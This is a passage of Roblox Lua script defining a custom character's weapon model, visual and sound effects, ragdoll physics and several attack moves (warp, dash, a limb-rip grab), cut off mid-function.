NEWWELD = IT(TYPE) NEWWELD.Part0 = PART0 NEWWELD.Part1 = PART1 NEWWELD.C0 = C0 NEWWELD.C1 = C1 NEWWELD.Parent = PARENT return NEWWELD end local S = IT("Sound") function CreateSound(ID, PARENT, VOLUME, PITCH, DOESLOOP) local NEWSOUND = nil coroutine.resume(coroutine.create(function() NEWSOUND = S:Clone() NEWSOUND.Parent = PARENT NEWSOUND.Volume = VOLUME NEWSOUND.Pitch = PITCH NEWSOUND.SoundId = "http://www.roblox.com/asset/?id="..ID NEWSOUND:play() if DOESLOOP == true then NEWSOUND.Looped = true else repeat wait(1) until NEWSOUND.Playing == false NEWSOUND:remove() end end)) return NEWSOUND end function CFrameFromTopBack(at, top, back) local right = top:Cross(back) return CF(at.x, at.y, at.z, right.x, top.x, back.x, right.y, top.y, back.y, right.z, top.z, back.z) end --WACKYEFFECT({EffectType = "", Size = VT(1,1,1), Size2 = VT(0,0,0), Transparency = 0, Transparency2 = 1, CFrame = CF(), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(1,1,1), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) function WACKYEFFECT(Table) local TYPE = (Table.EffectType or "Sphere") local SIZE = (Table.Size or VT(1,1,1)) local ENDSIZE = (Table.Size2 or VT(0,0,0)) local TRANSPARENCY = (Table.Transparency or 0) local ENDTRANSPARENCY = (Table.Transparency2 or 1) local CFRAME = (Table.CFrame or Torso.CFrame) local MOVEDIRECTION = (Table.MoveToPos or nil) local ROTATION1 = (Table.RotationX or 0) local ROTATION2 = (Table.RotationY or 0) local ROTATION3 = (Table.RotationZ or 0) local MATERIAL = (Table.Material or "Neon") local COLOR = (Table.Color or C3(1,1,1)) local TIME = (Table.Time or 45) local SOUNDID = (Table.SoundID or nil) local SOUNDPITCH = (Table.SoundPitch or nil) local SOUNDVOLUME = (Table.SoundVolume or nil) coroutine.resume(coroutine.create(function() local PLAYSSOUND = false local SOUND = nil local EFFECT = CreatePart(3, Effects, MATERIAL, 0, TRANSPARENCY, BRICKC("Pearl"), "Effect", VT(1,1,1), true) if SOUNDID ~= nil and SOUNDPITCH ~= nil and SOUNDVOLUME ~= nil then PLAYSSOUND = true SOUND = CreateSound(SOUNDID, EFFECT, SOUNDVOLUME, SOUNDPITCH, false) end EFFECT.Color = COLOR local MSH = nil if TYPE == "Sphere" then MSH = CreateMesh("SpecialMesh", EFFECT, "Sphere", "", "", SIZE, VT(0,0,0)) elseif TYPE == "Block" then MSH = IT("BlockMesh",EFFECT) MSH.Scale = VT(SIZE.X,SIZE.X,SIZE.X) elseif TYPE == "Wave" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "20329976", "", SIZE, VT(0,0,-SIZE.X/8)) elseif TYPE == "Ring" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "559831844", "", VT(SIZE.X,SIZE.X,0.1), VT(0,0,0)) elseif TYPE == "Slash" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "662586858", "", VT(SIZE.X/10,0,SIZE.X/10), VT(0,0,0)) elseif TYPE == "Round Slash" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "662585058", "", VT(SIZE.X/10,0,SIZE.X/10), VT(0,0,0)) elseif TYPE == "Swirl" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "1051557", "", SIZE, VT(0,0,0)) elseif TYPE == "Skull" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "4770583", "", SIZE, VT(0,0,0)) elseif TYPE == "Crystal" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "9756362", "", SIZE, VT(0,0,0)) end if MSH ~= nil then local MOVESPEED = nil if MOVEDIRECTION ~= nil then MOVESPEED = (CFRAME.p - MOVEDIRECTION).Magnitude/TIME end local GROWTH = SIZE - ENDSIZE local TRANS = TRANSPARENCY - ENDTRANSPARENCY if TYPE == "Block" then EFFECT.CFrame = CFRAME*ANGLES(RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360))) else EFFECT.CFrame = CFRAME end for LOOP = 1, TIME+1 do Swait() MSH.Scale = MSH.Scale - GROWTH/TIME if TYPE == "Wave" then MSH.Offset = VT(0,0,-MSH.Scale.X/8) end EFFECT.Transparency = EFFECT.Transparency - TRANS/TIME if TYPE == "Block" then EFFECT.CFrame = CFRAME*ANGLES(RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360))) else EFFECT.CFrame = EFFECT.CFrame*ANGLES(RAD(ROTATION1),RAD(ROTATION2),RAD(ROTATION3)) end if MOVEDIRECTION ~= nil then local ORI = EFFECT.Orientation EFFECT.CFrame = CF(EFFECT.Position,MOVEDIRECTION)*CF(0,0,-MOVESPEED) EFFECT.Orientation = ORI end end if PLAYSSOUND == false then EFFECT:remove() else repeat Swait() until SOUND.Playing == false EFFECT:remove() end else if PLAYSSOUND == false then EFFECT:remove() else repeat Swait() until SOUND.Playing == false EFFECT:remove() end end end)) end function MakeForm(PART,TYPE) if TYPE == "Cyl" then local MSH = IT("CylinderMesh",PART) elseif TYPE == "Ball" then local MSH = IT("SpecialMesh",PART) MSH.MeshType = "Sphere" elseif TYPE == "Wedge" then local MSH = IT("SpecialMesh",PART) MSH.MeshType = "Wedge" end end Debris = game:GetService("Debris") function CastProperRay(StartPos, EndPos, Distance, Ignore) local DIRECTION = CF(StartPos,EndPos).lookVector return Raycast(StartPos, DIRECTION, Distance, Ignore) end function CharacterFade(COLOR,TIMER) coroutine.resume(coroutine.create(function() local FADE = IT("Model",Effects) for _, c in pairs(Character:GetChildren()) do if c.ClassName == "Part" and c ~= RootPart then local FADER = c:Clone() FADER.Color = COLOR FADER.CFrame = c.CFrame FADER.Parent = FADE FADER.Anchored = true FADER.Transparency = 0.25 FADER:BreakJoints() FADER.Material = "Glass" FADER:ClearAllChildren() if FADER.Name == "Head" then FADER.Size = VT(1,1,1) end end end local TRANS = 0.75/TIMER for i = 1, TIMER do Swait() for _, c in pairs(FADE:GetChildren()) do if c.ClassName == "Part" then c.Transparency = c.Transparency + TRANS end end end FADE:remove() end)) end local PE=Instance.new("ParticleEmitter") PE.LightEmission=0.3 PE.Size=NumberSequence.new(0) PE.Transparency=NumberSequence.new(0,1) PE.Rotation=NumberRange.new(0,360) PE.LockedToPart = false PE.Speed = NumberRange.new(0,0,0) PE.ZOffset = 0.3 PE.Rate = 999 PE.VelocitySpread = 25 PE.Name = "Particles" function CreateParticles(art,accel,drag,lifetime,type,isenabledbydefault,locked,size,speed) local particle = nil coroutine.resume(coroutine.create(function(PART) particle = PE:Clone() Swait() particle.Rate = 999 particle.Parent = art particle.Acceleration = accel if type == "Fire" then local EyeSizes={ NumberSequenceKeypoint.new(0,size,size/2), NumberSequenceKeypoint.new(1,size/4,size/8) } particle.Size = NumberSequence.new(EyeSizes) elseif type == "Smoke" then local EyeSizes={ NumberSequenceKeypoint.new(0,size/5,0), NumberSequenceKeypoint.new(1,size*2,0.5) } particle.Size = NumberSequence.new(EyeSizes) elseif type == "Solid" then local EyeSizes={ NumberSequenceKeypoint.new(0,size,0), NumberSequenceKeypoint.new(1,size,0) } particle.Size = NumberSequence.new(EyeSizes) end particle.Lifetime=NumberRange.new(lifetime) particle.Drag = drag if locked == true then particle.LockedToPart = true end particle.Speed = NumberRange.new(speed*0.8,speed) particle.Texture = "http://www.roblox.com/asset/?id=1179557490" particle.Enabled = isenabledbydefault particle.Color = ColorSequence.new(Color3.new(255/255, 176/255, 0)) end)) return particle end --//=================================\\ --|| RAGDOLL STUFF --\\=================================// function recurse(root,callback,i) i= i or 0 for _,v in pairs(root:GetChildren()) do i = i + 1 callback(i,v) if #v:GetChildren() > 0 then i = recurse(v,callback,i) end end return i end function ragdollJoint(character, part0, part1, attachmentName, className, properties) attachmentName = attachmentName.."RigAttachment" local constraint = Instance.new(className.."Constraint") constraint.Attachment0 = part0:FindFirstChild(attachmentName) constraint.Attachment1 = part1:FindFirstChild(attachmentName) constraint.Name = "RagdollConstraint"..part1.Name for _,propertyData in next,properties or {} do constraint[propertyData[1]] = propertyData[2] end constraint.Parent = character end function getAttachment0(character, attachmentName) for _,child in next,character:GetChildren() do local attachment = child:FindFirstChild(attachmentName) if attachment then return attachment end end end function ArtificialHitbox(Part) local HITBOX = CreatePart(3, Part, "Metal", 0, 1, "Really black", "Hitbox", Part.Size/2, false) HITBOX.CanCollide = true HITBOX.CFrame = Part.CFrame weldBetween(Part,HITBOX) end function R15Ragdoll(character,KeepArms) character:BreakJoints() coroutine.resume(coroutine.create(function() recurse(character, function(_,v) if v:IsA("Attachment") then v.Axis = Vector3.new(0, 1, 0) v.SecondaryAxis = Vector3.new(0, 0, 1) v.Rotation = Vector3.new(0, 0, 0) end end) for _,child in next,character:GetChildren() do if child:IsA("Accoutrement") then for _,part in next,child:GetChildren() do if part:IsA("BasePart") and part.Name ~= "HumanoidRootPart" then local attachment1 = part:FindFirstChildOfClass("Attachment") local attachment0 = getAttachment0(character,attachment1.Name) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end ArtificialHitbox(part) elseif part.Name == "HumanoidRootPart" then part:remove() end end end end ragdollJoint(character,character.LowerTorso, character.UpperTorso, "Waist", "BallSocket", { {"LimitsEnabled",true}; {"UpperAngle",5}; }) if character:FindFirstChild("Head") then ragdollJoint(character,character.UpperTorso, character.Head, "Neck", "BallSocket", { {"LimitsEnabled",true}; {"UpperAngle",15}; }) end local handProperties = { {"LimitsEnabled", true}; {"UpperAngle",0}; {"LowerAngle",0}; } ragdollJoint(character,character.LeftLowerArm, character.LeftHand, "LeftWrist", "Hinge", handProperties) ragdollJoint(character,character.RightLowerArm, character.RightHand, "RightWrist", "Hinge", handProperties) local shinProperties = { {"LimitsEnabled", true}; {"UpperAngle", 0}; {"LowerAngle", -75}; } ragdollJoint(character,character.LeftUpperLeg, character.LeftLowerLeg, "LeftKnee", "Hinge", shinProperties) ragdollJoint(character,character.RightUpperLeg, character.RightLowerLeg, "RightKnee", "Hinge", shinProperties) local footProperties = { {"LimitsEnabled", true}; {"UpperAngle", 15}; {"LowerAngle", -45}; } ragdollJoint(character,character.LeftLowerLeg, character.LeftFoot, "LeftAnkle", "Hinge", footProperties) ragdollJoint(character,character.RightLowerLeg, character.RightFoot, "RightAnkle", "Hinge", footProperties) if KeepArms == true then ragdollJoint(character,character.UpperTorso, character.RightUpperArm, "RightShoulder", "BallSocket") ragdollJoint(character,character.RightUpperArm, character.RightLowerArm, "RightElbow", "BallSocket") ragdollJoint(character,character.UpperTorso, character.LeftUpperArm, "LeftShoulder", "BallSocket") ragdollJoint(character,character.LeftUpperArm, character.LeftLowerArm, "LeftElbow", "BallSocket") end ragdollJoint(character,character.LowerTorso, character.LeftUpperLeg, "LeftHip", "BallSocket") ragdollJoint(character,character.LowerTorso, character.RightUpperLeg, "RightHip", "BallSocket") Debris:AddItem(character,5) end)) end function Ragdoll(Character2,CharTorso,KeepArms) coroutine.resume(coroutine.create(function() Character2:BreakJoints() local hum = Character2:findFirstChild("Humanoid") hum:remove() local function Scan(ch) local e for e = 1,#ch do Scan(ch[e]:GetChildren()) if ch[e].ClassName == "Weld" or ch[e].ClassName == "Motor6D" then ch[e]:remove() end end end local NEWHUM = IT("Humanoid") NEWHUM.Name = "Corpse" NEWHUM.Health = 0 NEWHUM.MaxHealth = 0 NEWHUM.PlatformStand = true NEWHUM.Parent = Character2 NEWHUM.DisplayDistanceType = "None" local ch = Character2:GetChildren() local i for i = 1,#ch do if ch[i].Name == "THandle1" or ch[i].Name == "THandle2" then ch[i]:remove() end end local Torso2 = Character2.Torso local movevector = Vector3.new() if Torso2 then movevector = CFrame.new(CharTorso.Position,Torso2.Position).lookVector local Head = Character2:FindFirstChild("Head") if Head then local Neck = Instance.new("Weld") Neck.Name = "Neck" Neck.Part0 = Torso2 Neck.Part1 = Head Neck.C0 = CFrame.new(0, 1.5, 0) Neck.C1 = CFrame.new() Neck.Parent = Torso2 end local Limb = Character2:FindFirstChild("Right Arm") if Limb and KeepArms == true then Limb.CFrame = Torso2.CFrame * CFrame.new(1.5, 0, 0) local Joint = Instance.new("Glue") Joint.Name = "RightShoulder" Joint.Part0 = Torso2 Joint.Part1 = Limb Joint.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.C1 = CFrame.new(-0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.Parent = Torso2 local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = Character2 local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end local Limb = Character2:FindFirstChild("Left Arm") if Limb and KeepArms == true then Limb.CFrame = Torso2.CFrame * CFrame.new(-1.5, 0, 0) local Joint = Instance.new("Glue") Joint.Name = "LeftShoulder" Joint.Part0 = Torso2 Joint.Part1 = Limb Joint.C0 = CFrame.new(-1.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.C1 = CFrame.new(0, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.Parent = Torso2 local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = Character2 local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end local Limb = Character2:FindFirstChild("Right Leg") if Limb then Limb.CFrame = Torso2.CFrame * CFrame.new(0.5, -2, 0) local Joint = Instance.new("Glue") Joint.Name = "RightHip" Joint.Part0 = Torso2 Joint.Part1 = Limb Joint.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Joint.Parent = Torso2 local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = Character2 local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end local Limb = Character2:FindFirstChild("Left Leg") if Limb then Limb.CFrame = Torso2.CFrame * CFrame.new(-0.5, -2, 0) local Joint = Instance.new("Glue") Joint.Name = "LeftHip" Joint.Part0 = Torso2 Joint.Part1 = Limb Joint.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Joint.Parent = Torso2 local B = Instance.new("Part") B.TopSurface = 0 B.BottomSurface = 0 B.formFactor = "Symmetric" B.Size = Vector3.new(1, 1, 1) B.Transparency = 1 B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0) B.Parent = Character2 local W = Instance.new("Weld") W.Part0 = Limb W.Part1 = B W.C0 = CFrame.new(0, -0.5, 0) W.Parent = Limb end --[ local Bar = Instance.new("Part") Bar.TopSurface = 0 Bar.BottomSurface = 0 Bar.formFactor = "Symmetric" Bar.Size = Vector3.new(1, 1, 1) Bar.Transparency = 1 Bar.CFrame = Torso2.CFrame * CFrame.new(0, 0.5, 0) Bar.Parent = Character2 local Weld = Instance.new("Weld") Weld.Part0 = Torso2 Weld.Part1 = Bar Weld.C0 = CFrame.new(0, 0.5, 0) Weld.Parent = Torso2 --]] end Character2.Parent = workspace Debris:AddItem(Character2,5) return Character2,Torso2 end)) end --//=================================\\ --|| WEAPON CREATION --\\=================================// local DUST = CreateParticles(RightArm,VT(0,0,0),5,2,"Smoke",false,false,5,0) DUST.ZOffset = 1 RightArm.Transparency = 1 local BasePart = CreatePart(3, Weapon, "Metal", 0, 0, "Really black", "Part", VT(1,2,1),false) CreateWeldOrSnapOrMotor("Weld", RightArm, RightArm, BasePart, CF(0,0,0) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0)) local Sphere = CreatePart(3, Weapon, "Metal", 0, 0, "Really black", "Part", VT(1.4,1.4,1.4),false) MakeForm(Sphere,"Ball") CreateWeldOrSnapOrMotor("Weld", BasePart, BasePart, Sphere, CF(0.2,0.8,0.1) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0)) local LaserPart = CreatePart(3, Weapon, "Neon", 0, 0, "Really red", "Part", VT(0.3,0.3,0.1),false) MakeForm(LaserPart,"Ball") CreateWeldOrSnapOrMotor("Weld", Sphere, Sphere, LaserPart, CF(0,0,-0.65) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0)) local Bump = CreatePart(3, Weapon, "Metal", 0, 0, "Really black", "Part", VT(0.3,0.3,0.2),false) MakeForm(Bump,"Ball") CreateWeldOrSnapOrMotor("Weld", Sphere, Sphere, Bump, CF(0,0,0.65) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0)) local BottomLaser = CreatePart(3, Weapon, "Neon", 0, 0, "Really red", "Part", VT(0.4,0,0.4),false) MakeForm(BottomLaser,"Cyl") CreateWeldOrSnapOrMotor("Weld", BasePart, BasePart, BottomLaser, CF(0,-1,0) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0)) local Part1 = CreatePart(3, Weapon, "Neon", 0, 0, "Really red", "Part", VT(0,0.5,0.5),false) CreateWeldOrSnapOrMotor("Weld", BasePart, BasePart, Part1, CF(0,-0.76,-0.26) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0)) local Part2 = CreatePart(3, Weapon, "Neon", 0, 0, "Really red", "Part", VT(0,0.5,0.5),false) CreateWeldOrSnapOrMotor("Weld", BasePart, Part1, Part2, CF(0,0.25,0) * ANGLES(RAD(0), RAD(0), RAD(-25)), CF(0, -0.25, 0)) local Part3 = CreatePart(3, Weapon, "Neon", 0, 0, "Really red", "Part", VT(0,0.5,0.5),false) CreateWeldOrSnapOrMotor("Weld", BasePart, Part1, Part3, CF(0,0.25,0) * ANGLES(RAD(0), RAD(0), RAD(-90)), CF(0, -0.26, 0)) local Part4 = CreatePart(3, Weapon, "Neon", 0, 0, "Really red", "Part", VT(0,0.56,0.5),false) CreateWeldOrSnapOrMotor("Weld", BasePart, Part2, Part4, CF(0,0.25,0) * ANGLES(RAD(0), RAD(0), RAD(90)), CF(0, -0.26, 0)) local Part5 = CreatePart(3, Weapon, "Neon", 0, 0, "Really red", "Part", VT(0,0.56,0.5),false) CreateWeldOrSnapOrMotor("Weld", BasePart, Part4, Part5, CF(0,0.25,0) * ANGLES(RAD(0), RAD(0), RAD(-125)), CF(0, -0.26, 0)) local Part = CreatePart(3, Weapon, "Neon", 0, 0, "Really red", "Part", VT(0,0.25,0.5),false) CreateWeldOrSnapOrMotor("Weld", BasePart, Part4, Part, CF(0,0.25,0) * ANGLES(RAD(0), RAD(0), RAD(25)), CF(0, -0.26/2, 0)) local Part = CreatePart(3, Weapon, "Neon", 0, 0, "Really red", "Part", VT(0,0.3,0.5),false) CreateWeldOrSnapOrMotor("Weld", BasePart, Part2, Part, CF(0,0.25,0) * ANGLES(RAD(0), RAD(0), RAD(-65)), CF(0, -0.31/2, 0)) local Part = CreatePart(3, Weapon, "Neon", 0, 0, "Really red", "Part", VT(1.4,0,1.4),false) MakeForm(Part,"Cyl") CreateWeldOrSnapOrMotor("Weld", Sphere, Sphere, Part, CF(0.035,0,0) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0)) local Part = CreatePart(3, Weapon, "Neon", 0, 0, "Really red", "Part", VT(1.4,0,1.4),false) MakeForm(Part,"Cyl") CreateWeldOrSnapOrMotor("Weld", Sphere, Sphere, Part, CF(0,-0.035,0) * ANGLES(RAD(0), RAD(0), RAD(90)), CF(0, 0, 0)) local Sphere = CreatePart(3, Weapon, "Metal", 0, 0, "Really black", "Part", VT(0.3,1.6,0.7),false) MakeForm(Sphere,"Ball") CreateWeldOrSnapOrMotor("Weld", BasePart, BasePart, Sphere, CF(0.45,0.5,0) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0)) for _, c in pairs(Weapon:GetChildren()) do if c.ClassName == "Part" then c.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0, 0, 0) end end local SKILLTEXTCOLOR = C3(1,0,0) local SKILLFONT = "SciFi" local SKILLTEXTSIZE = 5 Weapon.Parent = Character Humanoid.Died:connect(function() ATTACK = false end) local SKILL1FRAME = CreateFrame(WEAPONGUI, 1, 2, UD2(0.8, 0, 0.90, 0), UD2(0.26, 0, 0.07, 0), C3(0,0,0), C3(0, 0, 0), "Skill 1 Frame") local SKILL2FRAME = CreateFrame(WEAPONGUI, 1, 2, UD2(0.8, 0, 0.86, 0), UD2(0.26, 0, 0.07, 0), C3(0,0,0), C3(0, 0, 0), "Skill 2 Frame") local SKILL3FRAME = CreateFrame(WEAPONGUI, 1, 2, UD2(0.8, 0, 0.82, 0), UD2(0.26, 0, 0.07, 0), C3(0,0,0), C3(0, 0, 0), "Skill 3 Frame") local SKILL4FRAME = CreateFrame(WEAPONGUI, 1, 2, UD2(0.8, 0, 0.78, 0), UD2(0.26, 0, 0.07, 0), C3(0,0,0), C3(0, 0, 0), "Skill 4 Frame") local SKILL5FRAME = CreateFrame(WEAPONGUI, 1, 2, UD2(0.8, 0, 0.74, 0), UD2(0.26, 0, 0.07, 0), C3(0,0,0), C3(0, 0, 0), "Skill 5 Frame") local SKILL6FRAME = CreateFrame(WEAPONGUI, 1, 2, UD2(0.8, 0, 0.70, 0), UD2(0.26, 0, 0.07, 0), C3(0,0,0), C3(0, 0, 0), "Skill 6 Frame") local SKILL1TEXT = CreateLabel(SKILL1FRAME, "[Z]", SKILLTEXTCOLOR, SKILLTEXTSIZE, SKILLFONT, 0, 2, 0.5, "Text 1") local SKILL2TEXT = CreateLabel(SKILL2FRAME, "[B]", SKILLTEXTCOLOR, SKILLTEXTSIZE, SKILLFONT, 0, 2, 0.5, "Text 2") local SKILL3TEXT = CreateLabel(SKILL3FRAME, "[C]", SKILLTEXTCOLOR, SKILLTEXTSIZE, SKILLFONT, 0, 2, 0.5, "Text 3") local SKILL4TEXT = CreateLabel(SKILL4FRAME, "[V]", SKILLTEXTCOLOR, SKILLTEXTSIZE, SKILLFONT, 0, 2, 0.5, "Text 4") local SKILL5TEXT = CreateLabel(SKILL5FRAME, "[E]", SKILLTEXTCOLOR, SKILLTEXTSIZE, SKILLFONT, 0, 2, 0.5, "Text 5") local SKILL6TEXT = CreateLabel(SKILL6FRAME, "[X]", SKILLTEXTCOLOR, SKILLTEXTSIZE, SKILLFONT, 0, 2, 0.5, "Text 6") --//=================================\\ --|| ATTACK FUNCTIONS AND STUFF --\\=================================// function Warp() local HITFLOOR,HITPOS = Raycast(Mouse.Hit.p+VT(0,1,0), (CF(RootPart.Position, RootPart.Position + VT(0, -1, 0))).lookVector, 100, Character) if HITFLOOR then CharacterFade(C3(0.5,0,0),50) HITPOS = HITPOS + VT(0,3.5,0) local POS = RootPart.Position RootPart.CFrame = CF(HITPOS,CF(POS,HITPOS)*CF(0,0,-100000).p) CreateSound(289556450,Torso,2,MRANDOM(8,13)/10,false) end end function Dash() ATTACK = true Rooted = true local SOUND = CreateSound(1165167610, Torso, 1, 1, true) local LOOP = 0 repeat LOOP = LOOP + 1 Swait() local RAY,RAYPOS = Raycast(RootPart.Position, (CF(RootPart.Position, Mouse.Hit.p)).lookVector, 5, workspace) local HITFLOOR,HITPOS,NORMAL = Raycast(RAYPOS+VT(0,1,0), (CF(RAYPOS, RAYPOS + VT(0, -1, 0))).lookVector, 100, Character) if HITFLOOR then CharacterFade(C3(0.5,0,0),35) HITPOS = HITPOS + VT(0,3.5,0) local POS = RootPart.Position RootPart.CFrame = CF(HITPOS,CF(POS,HITPOS)*CF(0,0,-100000).p) RootPart.Velocity = VT(0,0,0) RootPart.RotVelocity = VT(0,0,0) end RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(75), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(-45), RAD(0), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(-15), RAD(0), RAD(15)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-15), RAD(0), RAD(-15)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(-15), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(-15), RAD(-80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) until KEYHOLD == false coroutine.resume(coroutine.create(function() for i = 1, 20 do Swait() SOUND.Volume = SOUND.Volume - 1/20 end SOUND:remove() end)) if LOOP > 50 then CreateSound(772085046,Torso,5,MRANDOM(8,13)/10,false) for i = 1, 100 do Swait() RootPart.CFrame = RootPart.CFrame * CF(0,0,-(1-(i/100))/3) WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(1,0.5,1), Size2 = VT(2,0,2), Transparency = 0.7, Transparency2 = 1, CFrame = CF(RightLeg.CFrame*CF(0,-1,0).p), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(0.3,0.3,0.3), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) WACKYEFFECT({Time = 25, EffectType = "Sphere", Size = VT(1,0.5,1), Size2 = VT(2,0,2), Transparency = 0.7, Transparency2 = 1, CFrame = CF(LeftLeg.CFrame*CF(0,-1,0).p), MoveToPos = nil, RotationX = 0, RotationY = 0, RotationZ = 0, Material = "Neon", Color = C3(0.3,0.3,0.3), SoundID = nil, SoundPitch = nil, SoundVolume = nil}) RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(-15), RAD(0), RAD(0)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(35), RAD(0), RAD(0)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.5, 0.5, 0) * ANGLES(RAD(-45), RAD(0), RAD(0)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-45), RAD(0), RAD(0)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end end ATTACK = false Rooted = false end function LimbRip() ATTACK = true Rooted = false local TARGET = nil local ROOT = nil local HUMAN = nil local DIST = 4 Speed = 12 for i=0, 1, 0.1 / Animation_Speed do Swait() local CHILDREN = workspace:GetDescendants() for index, CHILD in pairs(CHILDREN) do if CHILD.ClassName == "Model" and CHILD ~= Character then local HUM = CHILD:FindFirstChildOfClass("Humanoid") if HUM then local TORSO = CHILD:FindFirstChild("HumanoidRootPart") or CHILD:FindFirstChild("Torso") or CHILD:FindFirstChild("UpperTorso") end end end if ROOT then break end RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CF(0, 0, 0) * ANGLES(RAD(0), RAD(0), RAD(45)), 1 / Animation_Speed) Neck.C0 = Clerp(Neck.C0, NECKC0 * CF(0, 0, 0 + ((1) - 1)) * ANGLES(RAD(10), RAD(0), RAD(-25)), 1 / Animation_Speed) RightShoulder.C0 = Clerp(RightShoulder.C0, CF(1.35, 0.5, -0.4) * ANGLES(RAD(90), RAD(0), RAD(45)) * RIGHTSHOULDERC0, 1 / Animation_Speed) LeftShoulder.C0 = Clerp(LeftShoulder.C0, CF(-1.5, 0.5, 0) * ANGLES(RAD(-25), RAD(0), RAD(15)) * LEFTSHOULDERC0, 1 / Animation_Speed) RightHip.C0 = Clerp(RightHip.C0, CF(1, -1, 0) * ANGLES(RAD(0), RAD(80), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) LeftHip.C0 = Clerp(LeftHip.C0, CF(-1, -1, 0) * ANGLES(RAD(0), RAD(-70), RAD(0)) * ANGLES(RAD(0), RAD(0), RAD(0)), 1 / Animation_Speed) end Speed = 16 if ROOT then CreateSound(305685800,Torso,5,1.3,false) Rooted = true local GORED = false coroutine.resume(coroutine.create(function() repeat Swait() ROOT.Anchored = true until GORED == true ROOT.Anchored = false end)) 